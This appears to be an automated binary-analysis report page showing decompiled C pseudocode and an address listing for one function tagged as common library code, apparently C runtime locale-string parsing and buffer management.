Instruction ID: 3b5cf1b971a0c9405bbd02e177877ea67e03242f42249fc5130eded15f09a5b6
Opcode Fuzzy Hash: ff79cc1848698e9be94925753b899a01218afc4b792d9db957fca7c3ad399e8e
Instruction Fuzzy Hash: E881F4B2D00205ABDF209E95C841EEF7BB5DF49354F18006BE904A7791E7399C81C7E8

Uniqueness

Uniqueness Score: -1.00%

Function 0040D060 Relevance: 7.7, APIs: 5, Instructions: 186
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 76%

			E0040D060(void* __ebx, signed int __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4) {
				intOrPtr* _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				signed int _v60;
				char _v276;
				short _v278;
				short _v280;
				char _v448;
				signed int _v452;
				short _v454;
				intOrPtr _v456;
				signed int _v460;
				intOrPtr _v464;
				signed int _v468;
				signed int _v472;
				intOrPtr _v512;
				char _v536;
				intOrPtr _v540;
				signed int _v544;
				intOrPtr _v548;
				signed int _v560;
				char _v708;
				signed int _v712;
				short _v714;
				signed int _v716;
				signed int _v720;
				signed int _v724;
				intOrPtr _v728;
				signed int _v732;
				intOrPtr _v736;
				signed int* _v740;
				signed int _v744;
				signed int _v748;
				signed int _v752;
				char _v824;
				char _v1252;
				char _v1268;
				intOrPtr _v1284;
				signed int _v1288;
				intOrPtr _v1324;
				signed int _v1336;
				void* __ebp;
				signed int _t251;
				void* _t254;
				signed int _t257;
				signed int _t259;
				signed int _t265;
				signed int _t266;
				signed int _t267;
				signed int _t268;
				signed int _t269;
				signed int _t270;
				void* _t272;
				signed int _t273;
				signed int _t274;
				signed int _t275;
				signed int _t277;
				signed int _t280;
				signed int _t287;
				signed int _t288;
				signed int _t290;
				signed int _t291;
				intOrPtr _t292;
				signed int _t295;
				signed int _t297;
				signed int _t298;
				signed int _t301;
				signed int _t303;
				signed int _t306;
				signed int _t307;
				signed int _t309;
				signed int _t310;
				signed int _t326;
				signed int _t328;
				signed int _t330;
				signed int _t334;
				void* _t335;
				signed int _t337;
				void* _t338;
				intOrPtr _t339;
				signed int _t343;
				signed int _t344;
				intOrPtr* _t349;
				signed int _t363;
				signed int _t365;
				void* _t366;
				signed int _t367;
				intOrPtr* _t368;
				signed int _t370;
				void* _t371;
				void* _t375;
				signed int _t379;
				intOrPtr* _t380;
				intOrPtr* _t383;
				void* _t386;
				signed int _t387;
				signed int _t390;
				intOrPtr* _t391;
				char* _t398;
				intOrPtr _t402;
				intOrPtr* _t403;
				signed int _t405;
				signed int _t410;
				signed int _t411;
				intOrPtr* _t415;
				intOrPtr* _t416;
				signed int _t425;
				short _t426;
				signed int _t428;
				intOrPtr _t429;
				void* _t430;
				signed int _t432;
				intOrPtr _t433;
				void* _t434;
				signed int _t435;
				signed int _t438;
				intOrPtr _t444;
				signed int _t445;
				void* _t446;
				signed int _t447;
				signed int _t448;
				void* _t450;
				signed int _t452;
				signed int _t454;
				signed int _t457;
				signed int* _t458;
				short _t459;
				signed int _t461;
				signed int _t462;
				void* _t464;
				void* _t465;
				signed int _t466;
				void* _t467;
				void* _t468;
				signed int _t469;
				void* _t471;
				void* _t472;
				signed int _t484;

				_t424 = __edx;
				_push(__ebx);
				_push(__esi);
				_v12 = 1;
				_t363 = E0040FE5B(0x6a6);
				_t250 = 0;
				_pop(_t375);
				if(_t363 == 0) {
					L20:
					return _t250;
				} else {
					_push(__edi);
					 *_t363 = 1;
					_t2 = _t363 + 4; // 0x4
					_t428 = _t2;
					_t444 = _a4;
					 *_t428 = 0;
					_t251 = _t444 + 0x30;
					_push( *_t251);
					_v16 = _t251;
					_push(0x41f728);
					_push( *0x41f664);
					E0040CF9C(_t363, _t375, __edx, _t428, _t444, _t428, 0x351, 3);
					_t465 = _t464 + 0x18;
					_v8 = 0x41f664;
					while(1) {
						L2:
						_t254 = E004153D3(_t428, 0x351, 0x41f724);
						_t466 = _t465 + 0xc;
						if(_t254 != 0) {
							break;
						} else {
							_t8 = _v16 + 0x10; // 0x10
							_t415 = _t8;
							_t343 =  *_v16;
							_v16 = _t415;
							_t416 =  *_t415;
							_v20 = _t416;
							goto L4;
						}
						while(1) {
							L4:
							_t424 =  *_t343;
							if(_t424 !=  *_t416) {
								break;
							}
							if(_t424 == 0) {
								L8:
								_t344 = 0;
							} else {
								_t424 =  *((intOrPtr*)(_t343 + 2));
								if(_t424 !=  *((intOrPtr*)(_t416 + 2))) {
									break;
								} else {
									_t343 = _t343 + 4;
									_t416 = _t416 + 4;
									if(_t424 != 0) {
										continue;
									} else {
										goto L8;
									}
								}
							}
							L10:
							_push(_v20);
							_push(0x41f728);
							asm("sbb eax, eax");
							_v12 = _v12 &  !( ~_t344);
							_t349 = _v8 + 0xc;
							_v8 = _t349;
							_push( *_t349);
							E0040CF9C(_t363, _t416, _t424, _t428, _t444, _t428, 0x351, 3);
							_t465 = _t466 + 0x18;
							if(_v8 < 0x41f694) {
								goto L2;
							} else {
								if(_v12 != 0) {
									E0040F644(_t363);
									_t435 = _t428 | 0xffffffff;
									__eflags =  *(_t444 + 0x28);
									if(__eflags != 0) {
										asm("lock xadd [ecx], eax");
										if(__eflags == 0) {
											E0040F644( *(_t444 + 0x28));
										}
									}
									__eflags =  *(_t444 + 0x24);
									if( *(_t444 + 0x24) != 0) {
										asm("lock xadd [eax], edi");
										__eflags = _t435 == 1;
										if(_t435 == 1) {
											E0040F644( *(_t444 + 0x24));
										}
									}
									 *(_t444 + 0x24) = 0;
									 *(_t444 + 0x1c) = 0;
									 *(_t444 + 0x28) = 0;
									 *((intOrPtr*)(_t444 + 0x20)) = 0;
									_t250 =  *((intOrPtr*)(_t444 + 0x40));
								} else {
									_t438 = _t428 | 0xffffffff;
									_t484 =  *(_t444 + 0x28);
									if(_t484 != 0) {
										asm("lock xadd [ecx], eax");
										if(_t484 == 0) {
											E0040F644( *(_t444 + 0x28));
										}
									}
									if( *(_t444 + 0x24) != 0) {
										asm("lock xadd [eax], edi");
										if(_t438 == 1) {
											E0040F644( *(_t444 + 0x24));
										}
									}
									 *(_t444 + 0x24) =  *(_t444 + 0x24) & 0x00000000;
									_t28 = _t363 + 4; // 0x4
									_t250 = _t28;
									 *(_t444 + 0x1c) =  *(_t444 + 0x1c) & 0x00000000;
									 *(_t444 + 0x28) = _t363;
									 *((intOrPtr*)(_t444 + 0x20)) = _t250;
								}
								goto L20;
							}
							goto L134;
						}
						asm("sbb eax, eax");
						_t344 = _t343 | 0x00000001;
						__eflags = _t344;
						goto L10;
					}
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					E004092DF();
					asm("int3");
					_t461 = _t466;
					_t467 = _t466 - 0x1d0;
					_t257 =  *0x42c014; // 0xee6350c6
					_v60 = _t257 ^ _t461;
					_t259 = _v44;
					_push(_t363);
					_push(_t444);
					_t445 = _v40;
					_push(_t428);
					_t429 = _v48;
					_v512 = _t429;
					__eflags = _t259;
					if(_t259 == 0) {
						_v460 = 1;
						_v472 = 0;
						_t365 = 0;
						_v452 = 0;
						__eflags = _t445;
						if(__eflags == 0) {
							L79:
							_t259 = E0040D060(_t365, _t424, _t429, _t445, __eflags, _t429);
							goto L80;
						} else {
							__eflags =  *_t445 - 0x4c;
							if( *_t445 != 0x4c) {
								L59:
								_t259 = E0040CBD6(_t365, _t424, _t429, _t445, _t445,  &_v276, 0x83,  &_v448, 0x55,  &_v468);
								_t468 = _t467 + 0x18;
								__eflags = _t259;
								if(_t259 != 0) {
									_t379 = 0;
									__eflags = 0;
									_t425 = _t429 + 0x20;
									_t447 = 0;
									_v452 = _t425;
									do {
										__eflags = _t447;
										if(_t447 == 0) {
											L74:
											_t265 = _v460;
										} else {
											_t380 =  *_t425;
											_t266 =  &_v276;
											while(1) {
												__eflags =  *_t266 -  *_t380;
												_t429 = _v464;
												if( *_t266 !=  *_t380) {
													break;
												}
												__eflags =  *_t266;
												if( *_t266 == 0) {
													L67:
													_t379 = 0;
													_t267 = 0;
												} else {
													_t426 =  *((intOrPtr*)(_t266 + 2));
													__eflags = _t426 -  *((intOrPtr*)(_t380 + 2));
													_v454 = _t426;
													_t425 = _v452;
													if(_t426 !=  *((intOrPtr*)(_t380 + 2))) {
														break;
													} else {
														_t266 = _t266 + 4;
														_t380 = _t380 + 4;
														__eflags = _v454;
														if(_v454 != 0) {
															continue;
														} else {
															goto L67;
														}
													}
												}
												L69:
												__eflags = _t267;
												if(_t267 == 0) {
													_t365 = _t365 + 1;
													__eflags = _t365;
													goto L74;
												} else {
													_t268 =  &_v276;
													_push(_t268);
													_push(_t447);
													_push(_t429);
													L83();
													_t425 = _v452;
													_t468 = _t468 + 0xc;
													__eflags = _t268;
													if(_t268 == 0) {
														_t379 = 0;
														_t265 = 0;
														_v460 = 0;
													} else {
														_t365 = _t365 + 1;
														_t379 = 0;
														goto L74;
													}
												}
												goto L75;
											}
											asm("sbb eax, eax");
											_t267 = _t266 | 0x00000001;
											_t379 = 0;
											__eflags = 0;
											goto L69;
										}
										L75:
										_t447 = _t447 + 1;
										_t425 = _t425 + 0x10;
										_v452 = _t425;
										__eflags = _t447 - 5;
									} while (_t447 <= 5);
									__eflags = _t265;
									if(__eflags != 0) {
										goto L79;
									} else {
										__eflags = _t365;
										if(__eflags != 0) {
											goto L79;
										} else {
											_t259 = _t379;
										}
									}
								}
								goto L80;
							} else {
								__eflags =  *(_t445 + 2) - 0x43;
								if( *(_t445 + 2) != 0x43) {
									goto L59;
								} else {
									__eflags =  *((short*)(_t445 + 4)) - 0x5f;
									if( *((short*)(_t445 + 4)) != 0x5f) {
										goto L59;
									} else {
										while(1) {
											_t269 = E0041790A(_t445, 0x41f71c);
											_t367 = _t269;
											_v468 = _t367;
											_pop(_t382);
											__eflags = _t367;
											if(_t367 == 0) {
												break;
											}
											_t270 = _t269 - _t445;
											__eflags = _t270;
											_v460 = _t270 >> 1;
											if(_t270 == 0) {
												break;
											} else {
												_t272 = 0x3b;
												__eflags =  *_t367 - _t272;
												if( *_t367 == _t272) {
													break;
												} else {
													_t432 = _v460;
													_t368 = 0x41f664;
													_v456 = 1;
													do {
														_t273 = E0040E9F8( *_t368, _t445, _t432);
														_t467 = _t467 + 0xc;
														__eflags = _t273;
														if(_t273 != 0) {
															goto L45;
														} else {
															_t383 =  *_t368;
															_t424 = _t383 + 2;
															do {
																_t339 =  *_t383;
																_t383 = _t383 + 2;
																__eflags = _t339 - _v472;
															} while (_t339 != _v472);
															_t382 = _t383 - _t424 >> 1;
															__eflags = _t432 - _t383 - _t424 >> 1;
															if(_t432 != _t383 - _t424 >> 1) {
																goto L45;
															}
														}
														break;
														L45:
														_v456 = _v456 + 1;
														_t368 = _t368 + 0xc;
														__eflags = _t368 - 0x41f694;
													} while (_t368 <= 0x41f694);
													_t365 = _v468 + 2;
													_t274 = E004178B1(_t382, _t365, 0x41f724);
													_t429 = _v464;
													_t448 = _t274;
													_pop(_t386);
													__eflags = _t448;
													if(_t448 != 0) {
														L48:
														__eflags = _v456 - 5;
														if(_v456 > 5) {
															_t387 = _v452;
															goto L54;
														} else {
															_push(_t448);
															_t277 = E00415513( &_v276, 0x83, _t365);
															_t469 = _t467 + 0x10;
															__eflags = _t277;
															if(_t277 != 0) {
																L82:
																_push(0);
																_push(0);
																_push(0);
																_push(0);
																_push(0);
																E004092DF();
																asm("int3");
																_push(_t461);
																_t462 = _t469;
																_t280 =  *0x42c014; // 0xee6350c6
																_v560 = _t280 ^ _t462;
																_push(_t365);
																_t370 = _v544;
																_push(_t448);
																_push(_t429);
																_t433 = _v548;
																_v1288 = _t370;
																_v1284 = E0040ED70(_t386, _t424) + 0x278;
																_t287 = E0040CBD6(_t370, _t424, _t433, _v540, _v540,  &_v824, 0x83,  &_v1252, 0x55,  &_v1268);
																_t471 = _t469 - 0x2e4 + 0x18;
																__eflags = _t287;
																if(_t287 == 0) {
																	L122:
																	_t288 = 0;
																	__eflags = 0;
																	goto L123;
																} else {
																	_t103 = _t370 + 2; // 0x6
																	_t452 = _t103 << 4;
																	__eflags = _t452;
																	_t290 =  &_v280;
																	_v720 = _t452;
																	_t424 =  *(_t452 + _t433);
																	_t390 = _t424;
																	while(1) {
																		_v712 = _v712 & 0x00000000;
																		__eflags =  *_t290 -  *_t390;
																		_t454 = _v720;
																		if( *_t290 !=  *_t390) {
																			break;
																		}
																		__eflags =  *_t290;
																		if( *_t290 == 0) {
																			L89:
																			_t291 = _v712;
																		} else {
																			_t459 =  *((intOrPtr*)(_t290 + 2));
																			__eflags = _t459 -  *((intOrPtr*)(_t390 + 2));
																			_v714 = _t459;
																			_t454 = _v720;
																			if(_t459 !=  *((intOrPtr*)(_t390 + 2))) {
																				break;
																			} else {
																				_t290 = _t290 + 4;
																				_t390 = _t390 + 4;
																				__eflags = _v714;
																				if(_v714 != 0) {
																					continue;
																				} else {
																					goto L89;
																				}
																			}
																		}
																		L91:
																		__eflags = _t291;
																		if(_t291 != 0) {
																			_t391 =  &_v280;
																			_t424 = _t391 + 2;
																			do {
																				_t292 =  *_t391;
																				_t391 = _t391 + 2;
																				__eflags = _t292 - _v712;
																			} while (_t292 != _v712);
																			_v716 = (_t391 - _t424 >> 1) + 1;
																			_t295 = E0040FE5B(4 + ((_t391 - _t424 >> 1) + 1) * 2);
																			_v732 = _t295;
																			__eflags = _t295;
																			if(_t295 == 0) {
																				goto L122;
																			} else {
																				_v728 =  *((intOrPtr*)(_t454 + _t433));
																				_v748 =  *(_t433 + 0xa0 + _t370 * 4);
																				_v752 =  *(_t433 + 8);
																				_t398 =  &_v280;
																				_v736 = _t295 + 4;
																				_t297 = E00412F29(_t295 + 4, _v716, _t398);
																				_t472 = _t471 + 0xc;
																				__eflags = _t297;
																				if(_t297 != 0) {
																					_t298 = _v712;
																					_push(_t298);
																					_push(_t298);
																					_push(_t298);
																					_push(_t298);
																					_push(_t298);
																					E004092DF();
																					asm("int3");
																					_push(_t462);
																					_push(_t398);
																					_v1336 = _v1336 & 0x00000000;
																					_t301 = E0040FBAD(_v1324, 0x20001004,  &_v1336, 2);
																					__eflags = _t301;
																					if(_t301 == 0) {
																						L132:
																						return 0xfde9;
																					}
																					_t303 = _v20;
																					__eflags = _t303;
																					if(_t303 == 0) {
																						goto L132;
																					}
																					return _t303;
																				} else {
																					__eflags = _v280 - 0x43;
																					 *((intOrPtr*)(_t454 + _t433)) = _v736;
																					if(_v280 != 0x43) {
																						L100:
																						_t306 = E0040C8F3(_t370, _t433,  &_v708);
																						_t424 = _v712;
																					} else {
																						__eflags = _v278;
																						if(_v278 != 0) {
																							goto L100;
																						} else {
																							_t424 = _v712;
																							_t306 = _t424;
																						}
																					}
																					 *(_t433 + 0xa0 + _t370 * 4) = _t306;
																					__eflags = _t370 - 2;
																					if(_t370 != 2) {
																						__eflags = _t370 - 1;
																						if(_t370 != 1) {
																							__eflags = _t370 - 5;
																							if(_t370 == 5) {
																								 *((intOrPtr*)(_t433 + 0x14)) = _v724;
																							}
																						} else {
																							 *((intOrPtr*)(_t433 + 0x10)) = _v724;
																						}
																					} else {
																						_t458 = _v740;
																						 *(_t433 + 8) = _v724;
																						_v716 = _t458[8];
																						_t410 = _t458[9];
																						_v724 = _t410;
																						while(1) {
																							__eflags =  *(_t433 + 8) -  *(_t458 + _t424 * 8);
																							if( *(_t433 + 8) ==  *(_t458 + _t424 * 8)) {
																								break;
																							}
																							_t334 =  *(_t458 + _t424 * 8);
																							_t410 =  *(_t458 + 4 + _t424 * 8);
																							 *(_t458 + _t424 * 8) = _v716;
																							 *(_t458 + 4 + _t424 * 8) = _v724;
																							_t424 = _t424 + 1;
																							_t370 = _v744;
																							_v716 = _t334;
																							_v724 = _t410;
																							__eflags = _t424 - 5;
																							if(_t424 < 5) {
																								continue;
																							} else {
																							}
																							L108:
																							__eflags = _t424 - 5;
																							if(__eflags == 0) {
																								_t326 = E00412BF3(_t424, __eflags, _v712, 1, 0x41f5d8, 0x7f,  &_v536,  *(_t433 + 8), 1);
																								_t472 = _t472 + 0x1c;
																								__eflags = _t326;
																								if(_t326 == 0) {
																									_t411 = _v712;
																								} else {
																									_t328 = _v712;
																									do {
																										 *(_t462 + _t328 * 2 - 0x20c) =  *(_t462 + _t328 * 2 - 0x20c) & 0x000001ff;
																										_t328 = _t328 + 1;
																										__eflags = _t328 - 0x7f;
																									} while (_t328 < 0x7f);
																									_t330 = E004063D0( &_v536,  *0x42c184, 0xfe);
																									_t472 = _t472 + 0xc;
																									__eflags = _t330;
																									_t411 = 0 | _t330 == 0x00000000;
																								}
																								_t458[1] = _t411;
																								 *_t458 =  *(_t433 + 8);
																							}
																							 *(_t433 + 0x18) = _t458[1];
																							goto L120;
																						}
																						__eflags = _t424;
																						if(_t424 != 0) {
																							 *_t458 =  *(_t458 + _t424 * 8);
																							_t458[1] =  *(_t458 + 4 + _t424 * 8);
																							 *(_t458 + _t424 * 8) = _v716;
																							 *(_t458 + 4 + _t424 * 8) = _t410;
																						}
																						goto L108;
																					}
																					L120:
																					_t307 = _t370 * 0xc;
																					_t204 = _t307 + 0x41f660; // 0x403eed
																					 *0x41d130(_t433);
																					_t309 =  *((intOrPtr*)( *_t204))();
																					_t402 = _v728;
																					__eflags = _t309;
																					if(_t309 == 0) {
																						__eflags = _t402 - 0x42c2a0;
																						if(_t402 == 0x42c2a0) {
																							L127:
																							_t310 = _v720;
																						} else {
																							_t457 = _t370 + _t370;
																							__eflags = _t457;
																							asm("lock xadd [eax], ecx");
																							if(_t457 != 0) {
																								goto L127;
																							} else {
																								E0040F644( *((intOrPtr*)(_t433 + 0x28 + _t457 * 8)));
																								E0040F644( *((intOrPtr*)(_t433 + 0x24 + _t457 * 8)));
																								E0040F644( *(_t433 + 0xa0 + _t370 * 4));
																								_t310 = _v720;
																								_t405 = _v712;
																								 *(_t310 + _t433) = _t405;
																								 *(_t433 + 0xa0 + _t370 * 4) = _t405;
																							}
																						}
																						_t403 = _v732;
																						 *_t403 = 1;
																						_t288 =  *(_t310 + _t433);
																						 *((intOrPtr*)(_t433 + 0x28 + (_t370 + _t370) * 8)) = _t403;
																					} else {
																						 *((intOrPtr*)(_v720 + _t433)) = _t402;
																						E0040F644( *(_t433 + 0xa0 + _t370 * 4));
																						 *(_t433 + 0xa0 + _t370 * 4) = _v748;
																						E0040F644(_v732);
																						 *(_t433 + 8) = _v752;
																						goto L122;
																					}
																					goto L123;
																				}
																			}
																		} else {
																			_t288 = _t424;
																			L123:
																			_pop(_t434);
																			_pop(_t450);
																			__eflags = _v16 ^ _t462;
																			_pop(_t371);
																			return E00404A89(_t288, _t371, _v16 ^ _t462, _t424, _t434, _t450);
																		}
																		goto L134;
																	}
																	asm("sbb eax, eax");
																	_t291 = _t290 | 0x00000001;
																	__eflags = _t291;
																	goto L91;
																}
															} else {
																_t335 = _t448 + _t448;
																__eflags = _t335 - 0x106;
																if(_t335 >= 0x106) {
																	E00405337();
																	goto L82;
																} else {
																	 *((short*)(_t461 + _t335 - 0x10c)) = 0;
																	_t337 =  &_v276;
																	_push(_t337);
																	_push(_v456);
																	_push(_t429);
																	L83();
																	_t387 = _v452;
																	_t467 = _t469 + 0xc;
																	__eflags = _t337;
																	if(_t337 != 0) {
																		_t387 = _t387 + 1;
																		_v452 = _t387;
																	}
																	L54:
																	_t445 = _t365 + _t448 * 2;
																	_t275 =  *_t445 & 0x0000ffff;
																	_t424 = _t275;
																	__eflags = _t275;
																	if(_t275 != 0) {
																		_t445 = _t445 + 2;
																		__eflags = _t445;
																		_t424 =  *_t445 & 0x0000ffff;
																	}
																	__eflags = _t424;
																	if(_t424 != 0) {
																		continue;
																	} else {
																		__eflags = _t387;
																		if(__eflags != 0) {
																			goto L79;
																		} else {
																			break;
																		}
																		goto L80;
																	}
																}
															}
														}
													} else {
														_t338 = 0x3b;
														__eflags =  *_t365 - _t338;
														if( *_t365 != _t338) {
															break;
														} else {
															goto L48;
														}
													}
												}
											}
											goto L134;
										}
										_t259 = 0;
										goto L80;
									}
								}
							}
						}
					} else {
						__eflags = _t445;
						if(_t445 == 0) {
							_t259 =  *(_t429 + (_t259 + 2 + _t259 + 2) * 8);
						} else {
							_push(_t445);
							_push(_t259);
							_push(_t429);
							L83();
						}
						L80:
						_pop(_t430);
						_pop(_t446);
						__eflags = _v12 ^ _t461;
						_pop(_t366);
						return E00404A89(_t259, _t366, _v12 ^ _t461, _t424, _t430, _t446);
					}
				}
				L134:
			}

0x0040d060
0x0040d068
0x0040d069
0x0040d072
0x0040d07a
0x0040d07c
0x0040d07e
0x0040d081
0x0040d19e
0x0040d1a1
0x0040d087
0x0040d087
0x0040d088
0x0040d08a
0x0040d08a
0x0040d08d
0x0040d090
0x0040d093
0x0040d096
0x0040d098
0x0040d09b
0x0040d0a0
0x0040d0ae
0x0040d0b8
0x0040d0bb
0x0040d0be
0x0040d0be
0x0040d0c9
0x0040d0ce
0x0040d0d3
0x00000000
0x0040d0d9
0x0040d0dc
0x0040d0dc
0x0040d0df
0x0040d0e1
0x0040d0e4
0x0040d0e6
0x0040d0e6
0x0040d0e6
0x0040d0e9
0x0040d0e9
0x0040d0e9
0x0040d0ef
0x00000000
0x00000000
0x0040d0f4
0x0040d10b
0x0040d10b
0x0040d0f6
0x0040d0f6
0x0040d0fe
0x00000000
0x0040d100
0x0040d100
0x0040d103
0x0040d109
0x00000000
0x00000000
0x00000000
0x00000000
0x0040d109
0x0040d0fe
0x0040d114
0x0040d114
0x0040d119
0x0040d11e
0x0040d122
0x0040d12e
0x0040d131
0x0040d134
0x0040d13e
0x0040d146
0x0040d14e
0x00000000
0x0040d154
0x0040d158
0x0040d1a3
0x0040d1ac
0x0040d1af
0x0040d1b1
0x0040d1b5
0x0040d1b9
0x0040d1be
0x0040d1c3
0x0040d1b9
0x0040d1c7
0x0040d1c9
0x0040d1cb
0x0040d1cf
0x0040d1d0
0x0040d1d5
0x0040d1da
0x0040d1d0
0x0040d1dd
0x0040d1e0
0x0040d1e3
0x0040d1e6
0x0040d1e9
0x0040d15a
0x0040d15d
0x0040d160
0x0040d162
0x0040d166
0x0040d16a
0x0040d16f
0x0040d174
0x0040d16a
0x0040d17a
0x0040d17c
0x0040d181
0x0040d186
0x0040d18b
0x0040d181
0x0040d18c
0x0040d190
0x0040d190
0x0040d193
0x0040d197
0x0040d19a
0x0040d19a
0x00000000
0x0040d19d
0x00000000
0x0040d14e
0x0040d10f
0x0040d111
0x0040d111
0x00000000
0x0040d111
0x0040d1f0
0x0040d1f1
0x0040d1f2
0x0040d1f3
0x0040d1f4
0x0040d1f5
0x0040d1fa
0x0040d1fe
0x0040d200
0x0040d206
0x0040d20d
0x0040d210
0x0040d213
0x0040d214
0x0040d215
0x0040d218
0x0040d219
0x0040d21c
0x0040d222
0x0040d224
0x0040d249
0x0040d253
0x0040d259
0x0040d25b
0x0040d261
0x0040d263
0x0040d4c3
0x0040d4c4
0x00000000
0x0040d269
0x0040d269
0x0040d26d
0x0040d3db
0x0040d3f8
0x0040d3fd
0x0040d400
0x0040d402
0x0040d408
0x0040d408
0x0040d40a
0x0040d40d
0x0040d40f
0x0040d415
0x0040d415
0x0040d417
0x0040d49e
0x0040d49e
0x0040d41d
0x0040d41d
0x0040d41f
0x0040d425
0x0040d428
0x0040d42b
0x0040d431
0x00000000
0x00000000
0x0040d433
0x0040d437
0x0040d460
0x0040d460
0x0040d462
0x0040d439
0x0040d439
0x0040d43d
0x0040d441
0x0040d448
0x0040d44e
0x00000000
0x0040d450
0x0040d450
0x0040d453
0x0040d456
0x0040d45e
0x00000000
0x00000000
0x00000000
0x00000000
0x0040d45e
0x0040d44e
0x0040d46d
0x0040d46d
0x0040d46f
0x0040d49d
0x0040d49d
0x00000000
0x0040d471
0x0040d471
0x0040d477
0x0040d478
0x0040d479
0x0040d47a
0x0040d47f
0x0040d485
0x0040d488
0x0040d48a
0x0040d491
0x0040d493
0x0040d495
0x0040d48c
0x0040d48c
0x0040d48d
0x00000000
0x0040d48d
0x0040d48a
0x00000000
0x0040d46f
0x0040d466
0x0040d468
0x0040d46b
0x0040d46b
0x00000000
0x0040d46b
0x0040d4a4
0x0040d4a4
0x0040d4a5
0x0040d4a8
0x0040d4ae
0x0040d4ae
0x0040d4b7
0x0040d4b9
0x00000000
0x0040d4bb
0x0040d4bb
0x0040d4bd
0x00000000
0x0040d4bf
0x0040d4bf
0x0040d4bf
0x0040d4bd
0x0040d4b9
0x00000000
0x0040d273
0x0040d273
0x0040d278
0x00000000
0x0040d27e
0x0040d27e
0x0040d283
0x00000000
0x0040d289
0x0040d289
0x0040d28f
0x0040d294
0x0040d296
0x0040d29d
0x0040d29e
0x0040d2a0
0x00000000
0x00000000
0x0040d2a6
0x0040d2a6
0x0040d2aa
0x0040d2b0
0x00000000
0x0040d2b6
0x0040d2b8
0x0040d2b9
0x0040d2bc
0x00000000
0x0040d2c2
0x0040d2c2
0x0040d2c8
0x0040d2cd
0x0040d2d7
0x0040d2db
0x0040d2e0
0x0040d2e3
0x0040d2e5
0x00000000
0x0040d2e7
0x0040d2e7
0x0040d2e9
0x0040d2ec
0x0040d2ec
0x0040d2ef
0x0040d2f2
0x0040d2f2
0x0040d2fd
0x0040d2ff
0x0040d301
0x00000000
0x00000000
0x0040d301
0x00000000
0x0040d303
0x0040d303
0x0040d309
0x0040d30c
0x0040d30c
0x0040d31a
0x0040d323
0x0040d328
0x0040d32e
0x0040d331
0x0040d332
0x0040d334
0x0040d342
0x0040d342
0x0040d349
0x0040d3aa
0x00000000
0x0040d34b
0x0040d34b
0x0040d359
0x0040d35e
0x0040d361
0x0040d363
0x0040d4de
0x0040d4e0
0x0040d4e1
0x0040d4e2
0x0040d4e3
0x0040d4e4
0x0040d4e5
0x0040d4ea
0x0040d4ed
0x0040d4ee
0x0040d4f6
0x0040d4fd
0x0040d500
0x0040d501
0x0040d504
0x0040d508
0x0040d509
0x0040d50c
0x0040d51c
0x0040d53f
0x0040d544
0x0040d547
0x0040d549
0x0040d7ff
0x0040d7ff
0x0040d7ff
0x00000000
0x0040d54f
0x0040d54f
0x0040d552
0x0040d552
0x0040d555
0x0040d55b
0x0040d561
0x0040d564
0x0040d566
0x0040d569
0x0040d570
0x0040d573
0x0040d579
0x00000000
0x00000000
0x0040d57b
0x0040d57f
0x0040d5a8
0x0040d5a8
0x0040d581
0x0040d581
0x0040d585
0x0040d589
0x0040d590
0x0040d596
0x00000000
0x0040d598
0x0040d598
0x0040d59b
0x0040d59e
0x0040d5a6
0x00000000
0x00000000
0x00000000
0x00000000
0x0040d5a6
0x0040d596
0x0040d5b5
0x0040d5b5
0x0040d5b7
0x0040d5c0
0x0040d5c6
0x0040d5c9
0x0040d5c9
0x0040d5cc
0x0040d5cf
0x0040d5cf
0x0040d5df
0x0040d5ed
0x0040d5f2
0x0040d5f9
0x0040d5fb
0x00000000
0x0040d601
0x0040d607
0x0040d614
0x0040d61d
0x0040d623
0x0040d630
0x0040d637
0x0040d63c
0x0040d63f
0x0040d641
0x0040d87f
0x0040d885
0x0040d886
0x0040d887
0x0040d888
0x0040d889
0x0040d88a
0x0040d88f
0x0040d892
0x0040d895
0x0040d896
0x0040d8a8
0x0040d8ad
0x0040d8af
0x0040d8b8
0x00000000
0x0040d8b8
0x0040d8b1
0x0040d8b4
0x0040d8b6
0x00000000
0x00000000
0x0040d8be
0x0040d647
0x0040d647
0x0040d655
0x0040d658
0x0040d66e
0x0040d675
0x0040d67a
0x0040d65a
0x0040d65a
0x0040d662
0x00000000
0x0040d664
0x0040d664
0x0040d66a
0x0040d66a
0x0040d662
0x0040d681
0x0040d688
0x0040d68b
0x0040d789
0x0040d78c
0x0040d799
0x0040d79c
0x0040d7a4
0x0040d7a4
0x0040d78e
0x0040d794
0x0040d794
0x0040d691
0x0040d691
0x0040d69d
0x0040d6a3
0x0040d6a9
0x0040d6ac
0x0040d6b2
0x0040d6b5
0x0040d6b8
0x00000000
0x00000000
0x0040d6ba
0x0040d6c3
0x0040d6c7
0x0040d6d0
0x0040d6d4
0x0040d6d5
0x0040d6db
0x0040d6e1
0x0040d6e7
0x0040d6ea
0x00000000
0x00000000
0x0040d6ec
0x0040d70b
0x0040d70b
0x0040d70e
0x0040d72b
0x0040d730
0x0040d733
0x0040d735
0x0040d773
0x0040d737
0x0040d737
0x0040d73d
0x0040d742
0x0040d74a
0x0040d74b
0x0040d74b
0x0040d762
0x0040d769
0x0040d76c
0x0040d76e
0x0040d76e
0x0040d779
0x0040d77f
0x0040d77f
0x0040d784
0x00000000
0x0040d784
0x0040d6ee
0x0040d6f0
0x0040d6f5
0x0040d6fb
0x0040d704
0x0040d707
0x0040d707
0x00000000
0x0040d6f0
0x0040d7a7
0x0040d7a7
0x0040d7ab
0x0040d7b3
0x0040d7b9
0x0040d7bc
0x0040d7c2
0x0040d7c4
0x0040d810
0x0040d816
0x0040d862
0x0040d862
0x0040d818
0x0040d81d
0x0040d81d
0x0040d823
0x0040d827
0x00000000
0x0040d829
0x0040d82d
0x0040d836
0x0040d842
0x0040d847
0x0040d850
0x0040d856
0x0040d859
0x0040d859
0x0040d827
0x0040d868
0x0040d870
0x0040d876
0x0040d879
0x0040d7c6
0x0040d7cc
0x0040d7d6
0x0040d7e8
0x0040d7ef
0x0040d7fc
0x00000000
0x0040d7fc
0x00000000
0x0040d7c4
0x0040d641
0x0040d5b9
0x0040d5b9
0x0040d801
0x0040d804
0x0040d805
0x0040d806
0x0040d808
0x0040d80f
0x0040d80f
0x00000000
0x0040d5b7
0x0040d5b0
0x0040d5b2
0x0040d5b2
0x00000000
0x0040d5b2
0x0040d369
0x0040d369
0x0040d36c
0x0040d371
0x0040d4d9
0x00000000
0x0040d377
0x0040d379
